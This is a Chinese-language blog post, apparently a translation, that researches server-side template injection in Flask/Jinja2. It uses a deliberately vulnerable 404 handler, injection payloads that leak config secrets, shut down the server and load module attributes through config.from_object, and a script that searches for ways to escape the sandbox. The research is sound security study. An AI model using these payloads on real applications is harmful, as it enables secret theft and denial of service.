热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

探索Flask/Jinja2中的服务端模版注入(一)

如果你还没听说过SSTI(服务端模版注入),或者对其还不够了解,在此之前建议大家去阅读一下JamesKettle写的一篇文章。作为一名专业的安全从事人

如果你还没听说过SSTI(服务端模版注入),或者对其还不够了解,在此之前建议大家去阅读一下James Kettle写的一篇文章。

作为一名专业的安全从事人员,我们的工作便是帮助企业组织进行风险决策。及时发现产品存在的威胁,漏洞对产品带来的影响是无法精确计算。作为一名经常使用Flask框架进行开发的人来说,James的研究促使我下定决心去研究在使用Flask/Jinja2框架进行应用开发时服务端模版注入的一些细节。


Setup

为了准确评估Flask/Jinja2中存在的SSTI,现在我们就建立一个PoC应用:

 

@app.errorhandler(404)
def page_not_found(e):template = '''{%% extends "layout.html" %%}
{%% block body %%}

Oops! That page doesn't exist.

%s


{%% endblock %%}
''' % (request.url)return render_template_string(template), 404

 

这段代码的背后场景应该是开发者愚蠢的认为这个404页面有一个单独的模版文件, 所以他在404 view函数中创建了一个模版字符串。这个开发者希望如果产生错误,就将该URL反馈给用户;但却不是经由render_template_string函数将URL传递给模版上下文,该开发者选择使用字符串格式化将URL动态添加到模版字符串中,这么做没错对吧?卧槽,这还不算我见过最糟糕的。

运行该功能,我们应该可以看到以下预期效果

ssti_flask_1.png

大多数朋友看到以下发生的行为立刻就会在脑子中想到XSS,当然他们的想法是正确的。在URL后面增加会触发一个XSS漏洞。

ssti_flask_2.png

目标代码存在XSS漏洞,并且如果你阅读James的文章之后就会知道,他曾明确指出XSS极有可能是存在SSTI的一个因素,这就是一个很棒的例子。但是我们通过在URL后面增加{{ 7+7 }}在深入的去了解下。我们看到模版引擎将数学表达式的值已经计算出来

ssti_flask_3.png

在目标应用中我们已经发现SSTI的踪迹了。


Analysis

接下来有得我们忙的了,下一步我们便深入模版上下文并探寻攻击者会如何通过SSTI漏洞攻击该应用程序。以下为我们修改过后的存在漏洞的view函数:

 

@app.errorhandler(404)
def page_not_found(e):template = '''{%% extends "layout.html" %%}
{%% block body %%}

Oops! That page doesn't exist.

%s


{%% endblock %%}
''' % (request.url)return render_template_string(template,dir=dir,help=help,locals=locals,), 404

 

调用的render_template_string现在包含dirhelplocals 内置模版,将他们添加到模板上下文我们便能够通过该漏洞使用这些内置模板进行内省。

短暂的暂停,我们来谈谈文档中对于模板上下文的描述。

 

Jinja globals

Flask template globals

由开发者添加的素材资料

 

我们最关心的是第一条和第二条,因为他们通常情况下都是默认值,Flask/Jinja2框架下存在SSTI漏洞应用中的任何地方都可以进行利用。第三条取决于应用程序并且实现的方法太多,stackoverflow讨论中就有几种方法。在本文中我们不会对第三条进行深入探讨,但是在对Flask/Jinja2框架的应用进行静态源代码分析的时候还是很值得考虑的。

为了继续内省,我们应该:

阅读文档使用dir内省locals对象来查看所有能够使用的模板上下文使用dir和help.深入所有对象分析感兴趣的Python源代码(毕竟框架都是开源的)

 


Results

通过内省request对象我们收集到第一个梦想中的玩具,request是Flask模版的一个全局对象,其代表“当前请求对象(flask.request)”,在视图中访问request对象你能看到很多你期待的信息。在request 对象中有一个environ对象名。request.environ对象是一个与服务器环境相关的对象字典,字典中一个名为shutdown_server的方法名分配的键为werkzeug.server.shutdown,那么大家可以猜猜注射{{ request.environ['werkzeug.server.shutdown']() }}在服务端会做些什么?一个影响极低的拒绝服务,使用gunicorn运行应用程序这个方法的效果便消失,所以该漏洞局限性还是挺大的。

我们的第二个发现来自于内省config对象,config也是Flask模版中的一个全局对象,它代表“当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。查看这些配置项目,只需注入{{ config.items() }}有效载荷。

ssti_flask_4.png

最有趣的还是从内省config对象时发现的,虽然config是一个类字典对象,但它的子类却包含多个独特的方法:from_envvarfrom_objectfrom_pyfile, 以及root_path

最后是时候深入源代码进行更深层次的了解咯,以下为Config类的from_object方法在flask/config.py中的代码:

 

def from_object(self, obj):"""Updates the values from the given object. An object can be of oneof the following two types:- a string: in this case the object with that name will be imported- an actual object reference: that object is used directlyObjects are usually either modules or classes.Just the uppercase variables in that object are stored in the config.Example usage::app.config.from_object(&#39;yourapplication.default_config&#39;)from yourapplication import default_configapp.config.from_object(default_config)You should not use this function to load the actual configuration butrather configuration defaults. The actual config should be loadedwith :meth:&#96;from_pyfile&#96; and ideally from a location not within thepackage because the package might be installed system wide.:param obj: an import name or object"""if isinstance(obj, string_types):obj &#61; import_string(obj)for key in dir(obj):if key.isupper():self[key] &#61; getattr(obj, key)def __repr__(self):return &#39;<%s %s>&#39; % (self.__class__.__name__, dict.__repr__(self))

 

 

我们看到&#xff0c;如果将字符串对象传递给from_object方法&#xff0c;它会从werkzeug/utils.py模块将字符串传递到import_string方法&#xff0c;试图从匹配的路径进行引用并返回结果。

 

def import_string(import_name, silent&#61;False):"""Imports an object based on a string. This is useful if you want touse import paths as endpoints or something similar. An import path canbe specified either in dotted notation (&#96;&#96;xml.sax.saxutils.escape&#96;&#96;)or with a colon as object delimiter (&#96;&#96;xml.sax.saxutils:escape&#96;&#96;).If &#96;silent&#96; is True the return value will be &#96;None&#96; if the import fails.:param import_name: the dotted name for the object to import.:param silent: if set to &#96;True&#96; import errors are ignored and&#96;None&#96; is returned instead.:return: imported object"""# force the import name to automatically convert to strings# __import__ is not able to handle unicode strings in the fromlist# if the module is a packageimport_name &#61; str(import_name).replace(&#39;:&#39;, &#39;.&#39;)try:try:__import__(import_name)except ImportError:if &#39;.&#39; not in import_name:raiseelse:return sys.modules[import_name]module_name, obj_name &#61; import_name.rsplit(&#39;.&#39;, 1)try:module &#61; __import__(module_name, None, None, [obj_name])except ImportError:# support importing modules not yet set up by the parent module# (or package for that matter)module &#61; import_string(module_name)try:return getattr(module, obj_name)except AttributeError as e:raise ImportError(e)except ImportError as e:if not silent:reraise(ImportStringError,ImportStringError(import_name, e),sys.exc_info()[2])

 

from_object方法会给所有变量名为大写的新加载模块添加属性&#xff0c;有趣的是这些添加到config对象的属性都会维持他们本来的类型&#xff0c;这也就是说被添加到config对象的函数是可以通过config对象从模板上下文进行调用的。为了论证这点&#xff0c;我们将{{ config.items() }}注入到存在SSTI漏洞的应用中&#xff0c;注意当前配置条目&#xff01;

ssti_flask_5.png

之后注入{{ config.from_object(&#39;os&#39;) }}。这会向config对象添加os库中所有大写变量的属性。再次注入{{ config.items() }}并注意新的配置条目&#xff0c;并且还要注意这些配置条目的类型。

ssti_flask_6.png

现在我们可以通过SSTI漏洞调用所有添加到config对象里的可调用条目。下一步我们要从可用的引用模块中寻找能够突破模版沙盒的函数。

下面的脚本重现from_objectimport_string并为引用条目分析Python标准库。

 

 

#!/usr/bin/env pythonfrom stdlib_list import stdlib_list
import argparse
import sysdef import_string(import_name, silent&#61;True):import_name &#61; str(import_name).replace(&#39;:&#39;, &#39;.&#39;)try:try:__import__(import_name)except ImportError:if &#39;.&#39; not in import_name:raiseelse:return sys.modules[import_name]module_name, obj_name &#61; import_name.rsplit(&#39;.&#39;, 1)try:module &#61; __import__(module_name, None, None, [obj_name])except ImportError:# support importing modules not yet set up by the parent module# (or package for that matter)module &#61; import_string(module_name)try:return getattr(module, obj_name)except AttributeError as e:raise ImportError(e)except ImportError as e:if not silent:raiseclass ScanManager(object):def __init__(self, version&#61;&#39;2.6&#39;):self.libs &#61; stdlib_list(version)def from_object(self, obj):obj &#61; import_string(obj)config &#61; {}for key in dir(obj):if key.isupper():config[key] &#61; getattr(obj, key)return configdef scan_source(self):for lib in self.libs:config &#61; self.from_object(lib)if config:conflen &#61; len(max(config.keys(), key&#61;len))for key in sorted(config.keys()):print(&#39;[{0}] {1} &#61;> {2}&#39;.format(lib, key.ljust(conflen), repr(config[key])))def main():# parse argumentsap &#61; argparse.ArgumentParser()ap.add_argument(&#39;version&#39;)args &#61; ap.parse_args()# creat a scanner instancesm &#61; ScanManager(args.version)print(&#39;\n[{module}] {config key} &#61;> {config value}\n&#39;)sm.scan_source()# start of main code
if __name__ &#61;&#61; &#39;__main__&#39;:main()

 

以下为脚本在Python 2.7下运行的输出结果&#xff1a;

(venv)macbook-pro:search lanmaster$ ./search.py 2.7[{module}] {config key} &#61;> {config value}...
[ctypes] CFUNCTYPE &#61;>
...
[ctypes] PYFUNCTYPE &#61;>
...
[distutils.archive_util] ARCHIVE_FORMATS &#61;> {&#39;gztar&#39;: (, [(&#39;compress&#39;, &#39;gzip&#39;)], "gzip&#39;ed tar-file"), &#39;ztar&#39;: (, [(&#39;compress&#39;, &#39;compress&#39;)], &#39;compressed tar file&#39;), &#39;bztar&#39;: (, [(&#39;compress&#39;, &#39;bzip2&#39;)], "bzip2&#39;ed tar-file"), &#39;zip&#39;: (, [], &#39;ZIP file&#39;), &#39;tar&#39;: (, [(&#39;compress&#39;, None)], &#39;uncompressed tar file&#39;)}
...
[ftplib] FTP &#61;>
[ftplib] FTP_TLS &#61;>
...
[httplib] HTTP &#61;>
[httplib] HTTPS &#61;>
...
[ic] IC &#61;>
...
[shutil] _ARCHIVE_FORMATS &#61;> {&#39;gztar&#39;: (, [(&#39;compress&#39;, &#39;gzip&#39;)], "gzip&#39;ed tar-file"), &#39;bztar&#39;: (, [(&#39;compress&#39;, &#39;bzip2&#39;)], "bzip2&#39;ed tar-file"), &#39;zip&#39;: (, [], &#39;ZIP file&#39;), &#39;tar&#39;: (, [(&#39;compress&#39;, None)], &#39;uncompressed tar file&#39;)}
...
[xml.dom.pulldom] SAX2DOM &#61;>
...
[xml.etree.ElementTree] XML &#61;>
[xml.etree.ElementTree] XMLID &#61;>
...

 

至此&#xff0c;我们运用我们之前的方法论&#xff0c;祈求能够寻到突破模版沙盒的方法。

通过这些条目我没能找到突破模版沙盒的方法&#xff0c;但为了共享研究在下面的附加信息中我会把一些十分接近的方法放出来。需要注意的是&#xff0c;我还没有尝试完所有的可能性&#xff0c;所以仍然有进一步研究的意义。


ftplib

我们有可能使用ftplib.FTP对象连接到一个我们控制的服务器&#xff0c;并向服务器上传文件。我们也可以从服务器下载文件并使用config.from_pyfile方法对内容进行正则表达式的匹配。分析ftplib文档和源代码得知ftplib 需要打开文件处理器&#xff0c;并且由于在模版沙盒中内置的open 是被禁用的&#xff0c;似乎没有办法创建文件处理器。


httplib

这里我们可能在本地文件系统中使用文件协议处理器file://&#xff0c;那就可以使用httplib.HTTP对象来加载文件的URL。不幸的是&#xff0c;httplib 不支持文件协议处理器。


xml.etree.ElementTree

当然我们也可能会用到xml.etree.ElementTree.XML对象使用用户定义的字符实体从文件系统中加载文件。然而&#xff0c;就像在Python文档中看到etree并不支持用户定义的字符实体


Conclusion

即使我们没能找到突破模版沙盒的方法&#xff0c;但是对于Flask/Jinja2开发框架下SSTI的影响已经有进展了&#xff0c;我确信那层薄纱就快被掀开。


推荐阅读
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • 本文介绍了计算机网络的定义和通信流程,包括客户端编译文件、二进制转换、三层路由设备等。同时,还介绍了计算机网络中常用的关键词,如MAC地址和IP地址。 ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • WebSocket与Socket.io的理解
    WebSocketprotocol是HTML5一种新的协议。它的最大特点就是,服务器可以主动向客户端推送信息,客户端也可以主动向服务器发送信息,是真正的双向平等对话,属于服务器推送 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 本文介绍了在rhel5.5操作系统下搭建网关+LAMP+postfix+dhcp的步骤和配置方法。通过配置dhcp自动分配ip、实现外网访问公司网站、内网收发邮件、内网上网以及SNAT转换等功能。详细介绍了安装dhcp和配置相关文件的步骤,并提供了相关的命令和配置示例。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • http:my.oschina.netleejun2005blog136820刚看到群里又有同学在说HTTP协议下的Get请求参数长度是有大小限制的,最大不能超过XX ... [详细]
  • 深入理解CSS中的margin属性及其应用场景
    本文主要介绍了CSS中的margin属性及其应用场景,包括垂直外边距合并、padding的使用时机、行内替换元素与费替换元素的区别、margin的基线、盒子的物理大小、显示大小、逻辑大小等知识点。通过深入理解这些概念,读者可以更好地掌握margin的用法和原理。同时,文中提供了一些相关的文档和规范供读者参考。 ... [详细]
  • JavaWeb中读取文件资源的路径问题及解决方法
    在JavaWeb开发中,读取文件资源的路径是一个常见的问题。本文介绍了使用绝对路径和相对路径两种方法来解决这个问题,并给出了相应的代码示例。同时,还讨论了使用绝对路径的优缺点,以及如何正确使用相对路径来读取文件。通过本文的学习,读者可以掌握在JavaWeb中正确找到和读取文件资源的方法。 ... [详细]
author-avatar
lvyanbo
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有